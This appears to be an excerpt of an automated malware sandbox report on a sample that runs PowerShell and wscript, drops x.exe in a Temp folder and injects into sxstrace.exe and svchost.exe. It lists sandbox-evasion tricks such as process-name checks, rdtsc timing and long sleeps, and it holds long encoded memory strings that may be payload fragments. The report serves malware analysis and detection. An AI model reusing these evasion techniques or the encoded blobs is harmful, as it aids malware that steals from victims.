Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\x.exe	API/Special instruction interceptor: Address: 10C5FB4
Source: C:\Windows\SysWOW64\sxstrace.exe	API/Special instruction interceptor: Address: 7FFBCB7AD324
Source: C:\Windows\SysWOW64\sxstrace.exe	API/Special instruction interceptor: Address: 7FFBCB7AD7E4
Source: C:\Windows\SysWOW64\sxstrace.exe	API/Special instruction interceptor: Address: 7FFBCB7AD944
Source: C:\Windows\SysWOW64\sxstrace.exe	API/Special instruction interceptor: Address: 7FFBCB7AD504
Source: C:\Windows\SysWOW64\sxstrace.exe	API/Special instruction interceptor: Address: 7FFBCB7AD544
Source: C:\Windows\SysWOW64\sxstrace.exe	API/Special instruction interceptor: Address: 7FFBCB7AD1E4
Source: C:\Windows\SysWOW64\sxstrace.exe	API/Special instruction interceptor: Address: 7FFBCB7B0154
Source: C:\Windows\SysWOW64\sxstrace.exe	API/Special instruction interceptor: Address: 7FFBCB7ADA44

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: x.exe, 00000005.00000002.1603200769.000000000103A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: PROCMON.EXE

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 6_2_03AAD1C0 rdtsc

6_2_03AAD1C0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3285	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2858	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Window / User API: threadDelayed 9688	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x.exe	API coverage: 4.1 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.8 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7032	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6872	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe TID: 5912	Thread sleep count: 285 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe TID: 5912	Thread sleep time: -570000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe TID: 5912	Thread sleep count: 9688 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe TID: 5912	Thread sleep time: -19376000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe TID: 6356	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\sxstrace.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\sxstrace.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002B60DD _wcscat,_wcscat,__wsplitpath,FindFirstFileW,DeleteFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	5_2_002B60DD
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002B63F9 _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	5_2_002B63F9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002BEB60 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	5_2_002BEB60
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002B6CA9 GetFileAttributesW,FindFirstFileW,FindClose,	5_2_002B6CA9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002BF56F FindFirstFileW,FindClose,	5_2_002BF56F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002BF5FA FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	5_2_002BF5FA
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002C1B2F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	5_2_002C1B2F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002C1C8A SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	5_2_002C1C8A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002C1F94 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	5_2_002C1F94

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_0028DDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

5_2_0028DDC0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000001.00000003.1676109092.0000026A7FC81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 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
Source: wscript.exe, 00000001.00000003.1676109092.0000026A7FC81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 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
Source: G1Y9-55.9.dr	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: G1Y9-55.9.dr	Binary or memory string: AMC password management pageVMware20,11696494690
Source: G1Y9-55.9.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: wscript.exe, 00000001.00000003.1554850561.0000026A01517000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: gDYtb63AELbq4IeGlRn9Qn2barKcawvMciACdXsHPFmK04uJoI+t8RURjPWGlILZfQ4agKoIyMp7pU0/4wlf2ZHla+fGYT2awbtsM5wHp6zKnfgZpvhT4MTYd8GU9bM7X9RJycMGx//kVinj1Pqp/2ns0XFLcJSL5ps8LVdS5CCqxIhizfu8AWqpmrjM8qKa63eeel1ppNg0XsSXlSer0PfUHwbHUzOW24JnW8dMZ5WgZTl/FAN32zOCx5IOFqkAb5RkDMbqyZebxPxVdqAS4gV5foh5p3uMXHoXww79rf1j1t1iOe+BxL/zL23TG67ZefaOctQr5kTPQTObhyEePxrmvNVd7IDJCrHCX/OfiwaXZQCU7m7R+ZoRlFnVJXQ/mEPuQV4AHecO1+aFlLb9SaQZUE5cLJGN3XJXXJQgonYHTJm+FBYLAuFjhdN0v6Ah8hkqojOZXjoBy/NIYXklisJHSntBfb2N4LDO/FNU1Se6kYciCUzWN6GJ6WgECqc+uY9IYKYYgK7yeU5LsFCSlXocE/hz8iTH4brtBpjWah6vihlwRhr44iu/7RZm9VhFCBHks2BshD23KsiOz13RH3Gl0DSGQ4s4xsCLzXoQb9XQhyNE2Q0QoN2yYoLdYZKJmrE61KyDOYMLktvCfw6zTZxPJU0Rodsvb9Qf3arZuguPPI9eUdGc30iHMsURPfp3jYT7RZ0WhmMlGnz8n7gQZeND14mNtxpsHbSnRC69ad++6aWu7cV/o4xc/eU+7GNmwAVKRpcS61xIEEQ4Yq+XjMpVS+v80DOsqDt8gZjrdod8zdE0QSJ8Z7MBLFt0qkzJOkbnzSHDJ31f9CKrHSbd0RuUewVuCAYNM18N2LR52UhvkyS6RSJrQk0OVDFnPTw3NvLUfPWVntvIej5+ZP5nYwy58CC2umzx+QiZzFItd083CkCEx07w8EGzM5Nd+tmUiY5zD